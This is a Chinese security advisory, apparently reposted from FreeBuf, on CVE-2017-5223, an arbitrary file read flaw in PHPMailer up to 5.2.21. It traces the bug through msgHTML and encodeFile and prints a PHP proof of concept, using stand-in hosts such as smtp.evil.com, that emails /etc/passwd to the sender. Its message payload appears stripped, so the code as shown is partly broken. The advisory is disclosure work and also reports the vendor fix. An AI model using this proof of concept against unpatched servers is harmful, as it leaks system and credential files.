php查看邮件漏洞,PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载

PHPMailer是堪称全球最流行邮件发送类,其全球范围内的用户量大约有900万,被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等。铱迅安全团队于2017年1月6日发现PHPMailer <= 5.2.21版本存在任意文件读取漏洞,成功利用该漏洞,可获取服务器中的任意文件内容。目前该漏洞已提交官方,并获得修复。

漏洞编号:

CVE-2017-5223

影响版本:

PHPMailer <= 5.2.21

漏洞级别:

高危

漏洞详情:

漏洞文件函数: class.phpmailer.php 的encodeFile函数。

该函数中接收了一个$path变量,最后该$path变量的值带入到了file_get_contents函数中执行。如果该$path变量可控即可任意文件读取:

facb679622a13757aafebd0bd5a13333.png

通过跟踪发现AddAttachment 和AddEmbeddedImage 函数最后会调用到encode File函数。 AddAttachment函数的作用是在邮件中发送附件的,如果附件名称可控即可触发该漏洞。

主要来看AddEmbeddedImage函数,该函数是处理邮件内容中的图片的,现在只要$path可控即可触发该漏洞。现在就是寻找可控点:

d26dec366e1ed131493f457276daf010.png

回溯该函数发现msgHTML函数调用了该函数,msgHTML 函数是用来发送html格式的邮件,调用过程如下:

25cf5ac5130af0400b809d971f627a55.png

回溯$filename 看其是否可控,从代码中可以看出$filename是由$url赋值的。即:$filename = basename($url);

再来跟踪$url:

de85ae963eecdb27796bfa2daa2092d8.png

$url是通过解析$message里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx,而$message就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。

漏洞POC:<?php

#Author:Yxlink

require_once('PHPMailerAutoload.php');

$mail = new PHPMailer();

$mail->IsSMTP();

$mail->Host = "smtp.evil.com";

$mail->Port = 25;

$mail->SMTPAuth   = true;

$mail->CharSet  = "UTF-8";

$mail->Encoding = "base64";

$mail->Username = "test@evil.com";

$mail->Password = "tes1234t";

$mail->Subject = "hello";

$mail->From = "test@evil.com";

$mail->FromName = "test";

$address = "testtest@test.com";

$mail->AddAddress($address, "test");

$mail->AddAttachment('test.txt','test.txt');  //test.txt可控即可任意文件读取

$mail->IsHTML(true);

$msg="passwdtest";//邮件内容形如这样写。

$mail->msgHTML($msg);

if(!$mail->Send()) {

echo "Mailer Error: " . $mail->ErrorInfo;

} else {

echo "Message sent!";

}

?>

用$msg的内容给自己的邮箱发一封邮件,即可获取到服务器的/etc/passwd的内容。如图:

0ad7ddee21bcc1e005e31d74f8686133.png

漏洞修复:

漏洞详情目前已经提交给了PHPMailer官方,官方也已经发布了PHPMailer 5.2.22紧急安全修复,解决上述问题,受影响的用户应当立即升级:

详情可参见:

*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值